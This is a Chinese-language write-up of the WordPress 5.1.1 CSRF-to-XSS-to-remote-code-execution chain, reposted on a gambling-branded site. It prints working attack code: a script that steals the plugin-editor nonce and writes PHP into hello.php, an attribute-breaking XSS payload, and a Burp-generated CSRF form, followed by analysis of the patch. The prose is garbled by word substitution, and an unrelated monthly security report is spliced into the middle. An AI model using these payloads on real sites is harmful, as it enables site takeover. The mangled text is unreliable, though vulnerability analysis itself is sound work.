WordPress 5.1.1 CSRF->XSS->RCE破绽剖析 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

WordPress 5.1.1 CSRF->XSS->RCE破绽剖析

申博_安全预警 申博 84次浏览 未收录 0个评论

WordPress平安机制与XSS写shell

nonce机制

在WordPress中,对差别操纵都做了nonce检测机制,以防CSRF进击。
nonce值的天生:

$expected = substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce'), -12, 10 );

个中,$i是由时刻决议的随机数,天天的0时与12时更新一次;$action是操纵;$uid是用户id;$token是用户上岸时服务器发生的,每次上岸都差别。
因而可知,nonce能够很好地防止CSRF等破绽的发生。

背景账户重要性

WordPress以为,背景治理员是有平安意识的,而且不会被盗。所以在WordPress的背景没有XSS过滤;以至能够经由过程插件编辑器直接写入webshell。

XSS背景写shell

· 有了nonce机制而且给背景用户较大的权限时,就能够经由过程XSS直接写入webshell。

· 应用背景治理员能够经由过程编辑插件写入恣意代码这个特性,我们能够组织写入恣意代码的JS。 能够猎取webshell的JS剧本为(测试环境:WordPress5.1.1,差别版本的参数能够差别,须要抓包重写):

<html>
<script>
p = 'wordpress/wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?php phpinfo();';
 
a = new XMLHttpRequest();
a.open('GET', p+q, 0);
a.send();
 
$ = 'nonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
'&newcontent=' + s + '&action=edit-theme-plugin-file&' + q +'&plugin=hello.php';
 
b = new XMLHttpRequest();
b.open('POST', p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);
 
b.onreadystatechange = function(){
   if (this.readyState == 4) {
      fetch('wordpress/wp-content/plugins/hello.php');
   }
}
</script>
 
</html>

破绽复现

因为我复现的时刻 5.1.1已被修复了,贴一个找到的未修复的commit: https://codeload.github.com/WordPress/WordPress/zip/df681b2ee0c01c3282f07feaed0b498546c87be3

· 安装完WordPress并运用治理员上岸后,进入批评运用burp组织CSRFpayload:

<a title=' " onmouseover=alert(1) attr2=" ' rel='1'>click

· 天生的POC:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:801/cms/wordpress-5.1.1/wordpress/wp-comments-post.php" method="POST">
      <input type="hidden" name="comment" value="<a title=' " onmouseover=alert(1) attr2=" ' rel='1'>click" />
      <input type="hidden" name="submit" value="Post Comment" />
      <input type="hidden" name="comment_post_ID" value="1" />
      <input type="hidden" name="comment_parent" value="0" />
      <input type="hidden" name="_wp_unfiltered_html_comment" value="no_need_correct" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

· 治理用户接见POC后,会发生一个a标签并注入js代码,实行效果:

WordPress 5.1.1 CSRF->XSS->RCE破绽剖析

 WordPress 5.1.1 CSRF->XSS->RCE破绽剖析

· 此时,就能够实行写shell的JS代码,到达getshell的目标。

破绽剖析

再次看看前面的payload:

<a title=' " onmouseover=alert(1) attr2=" ' rel='1'>click

须要注重的是:a后的第一个属性必需为$allowedposttags白名单中的属性,如title、id等,不然WordPress会直接去掉该属性。 检察全局许可的属性名:

网络安全状况月度报告-2019年6月

一、网络安全状况概述 2019年6月,互联网网络安全状况整体指标平稳,但是有两个重要特征值得关注。 一方面,病毒攻击态势呈上升趋势,整体较上月增加7%。其中挖矿病毒活跃程度增加较多,其病毒攻击的拦截量较5月增加11%,安全防护薄弱的企业是主要受灾对象,教育行业、政企单位的感染程度也有所增加。挖矿病毒的近期活跃程度增加可能与比特币价格持续走高有关。 另一方面,多个严重漏洞披露。Microsoft在官方安全更新公告中一共披露了88个漏洞的相关信息,其中21个获得了“严重”评级,这是微软有史以来漏洞严重程度最高的一次排名。Oracl

WordPress 5.1.1 CSRF->XSS->RCE破绽剖析

因为之前的操纵烦琐(主假如批评的种种过滤),直接在破绽修复处打断点:

function wp_rel_nofollow_callback( $matches ) {
$text = $matches[1];
$atts = shortcode_parse_atts( $matches[1] );
$rel  = 'nofollow';
 
if ( preg_match( '%href=["\'](' . preg_quote( set_url_scheme( home_url(), 'http' ) ) . ')%i', $text ) ||
preg_match( '%href=["\'](' . preg_quote( set_url_scheme( home_url(), 'https' ) ) . ')%i', $text ) ) {
 
return "<a $text>";
}
 
if ( ! empty( $atts['rel'] ) ) { //rel属性不为空时
$parts = array_map( 'trim', explode( ' ', $atts['rel'] ) );
if ( false === array_search( 'nofollow', $parts ) ) {
$parts[] = 'nofollow';
}
$rel = implode( ' ', $parts );
unset( $atts['rel'] );
 
$html = '';
foreach ( $atts as $name => $value ) {
$html .= "{$name}=\"$value\" "; //注重此处对每一个属性的值增加双引号
}
$text = trim( $html );
}
return "<a $text rel=\"$rel\">";
}

能够很明显的注重到,在挪用剖析rel属性的函数时,假如存在rel属性,起首将剖析的每一个属性直接拼接进去而且加上双引号。
WordPress对属性的剖析与浏览器的剖析一致,大抵以下:

1. 外界为双引号,则把双引号内字符串剖析为属性而不会加转义。

2. 外界为单引号,则把单引号内字符串剖析为属性而不会加转义。

而在此处,假如单引号中包含双引号,剖析时被当作属性,天然不会转义,而末了却被包裹上了双引号,从而形成闭合,原本在属性中的恶意代码被剖析:

<a title=' " onmouseover=alert(1) attr2=" ' rel='1'>click
->
<a title=" " onmouseover=alert(1) attr2=" " rel="1">click

末了输出的效果为:

<a title=" " onmouseover="alert(1)" attr2=" " rel="1 nofollow">click</a>

从而形成XSS

修复剖析

针对此破绽的修复主要有两个:
第一处:

WordPress 5.1.1 CSRF->XSS->RCE破绽剖析 

能够看到运用esc_attr函数对属性举行转义了。

第二处:

WordPress 5.1.1 CSRF->XSS->RCE破绽剖析 

第二处修补运用wp_filter_kses替代了wp_filter_post_kses。 起首检察wp_filter_post_kses:

function wp_filter_post_kses( $data ) {
return addslashes( wp_kses( stripslashes( $data ), 'post' ) );
}
 
跟进->
 
function wp_kses( $string, $allowed_html, $allowed_protocols = array() ) {
if ( empty( $allowed_protocols ) ) {
$allowed_protocols = wp_allowed_protocols();
}
$string = wp_kses_no_null( $string, array( 'slash_zero' => 'keep' ) );
$string = wp_kses_normalize_entities( $string );
$string = wp_kses_hook( $string, $allowed_html, $allowed_protocols );
return wp_kses_split( $string, $allowed_html, $allowed_protocols ); //注重此处
}

能够看到,该函数主假如基于$allowed_html对string举行了过滤。

再检察wp_filter_kses:

function wp_filter_kses( $data ) {
return addslashes( wp_kses( stripslashes( $data ), current_filter() ) );
}

同样地,运用了wp_kses函数,差别的是此次传入的是current_filter(),个中症结的过滤功能在函数wp_kses_split中,跟进:

function wp_kses_split( $string, $allowed_html, $allowed_protocols ) {
global $pass_allowed_html, $pass_allowed_protocols;
$pass_allowed_html      = $allowed_html;
$pass_allowed_protocols = $allowed_protocols;
return preg_replace_callback( '%(<!--.*?(-->|$))|(<[^>]*(>|$)|>)%', '_wp_kses_split_callback', $string );
}
跟进_wp_kses_split_callback->
 
function _wp_kses_split_callback( $match ) {
global $pass_allowed_html, $pass_allowed_protocols;
return wp_kses_split2( $match[0], $pass_allowed_html, $pass_allowed_protocols );
}
 
跟进wp_kses_split2->
 
function wp_kses_split2( $string, $allowed_html, $allowed_protocols ) {
$string = wp_kses_stripslashes( $string );
...
if ( ! is_array( $allowed_html ) ) {
$allowed_html = wp_kses_allowed_html( $allowed_html );
}
...
}
 
跟进wp_kses_allowed_html->
 
function wp_kses_allowed_html( $context = '' ) {
global $allowedposttags, $allowedtags, $allowedentitynames;
...
switch ( $context ) {
case 'post':
$tags = apply_filters( 'wp_kses_allowed_html', $allowedposttags, $context );
 
if ( ! CUSTOM_TAGS && ! isset( $tags['form'] ) && ( isset( $tags['input'] ) || isset( $tags['select'] ) ) ) {
$tags = $allowedposttags;
 
$tags['form'] = array(
'action'         => true,
'accept'         => true,
'accept-charset' => true,
'enctype'        => true,
'method'         => true,
'name'           => true,
'target'         => true,
);
$tags = apply_filters( 'wp_kses_allowed_html', $tags, $context );
}
 
return $tags;
 
case 'user_description':
case 'pre_user_description':
$tags             = $allowedtags;
$tags['a']['rel'] = true;
return apply_filters( 'wp_kses_allowed_html', $tags, $context );
 
case 'strip':
return apply_filters( 'wp_kses_allowed_html', array(), $context );
 
case 'entities':
return apply_filters( 'wp_kses_allowed_html', $allowedentitynames, $context );
 
case 'data':
default:
return apply_filters( 'wp_kses_allowed_html', $allowedtags, $context );
}

能够看到,传入post时,运用$allowedposttags过滤;传入current_filter()剖析出的pre_comment_content时则进入default,运用$allowedtags过滤。 这两个数组都是全局变量,$allowedposttags中包含种种标签,个中就包含a以及其rel属性:

'a'          => array(
'href'     => true,
'rel'      => true,
'rev'      => true,
'name'     => true,
'target'   => true,
'download' => array(
'valueless' => 'y',
),
)

而$allowedtags比$allowedposttags严厉的多,个中a标签的内容以下:

'a'          => array(
'href'  => true,
'title' => true,
)

所以,第二个修复点实际上是把标签白名单缩小了,不许可rel的涌现。

原文地点: https://www.4hou.com/vulnerable/19140.html


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明WordPress 5.1.1 CSRF->XSS->RCE破绽剖析
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址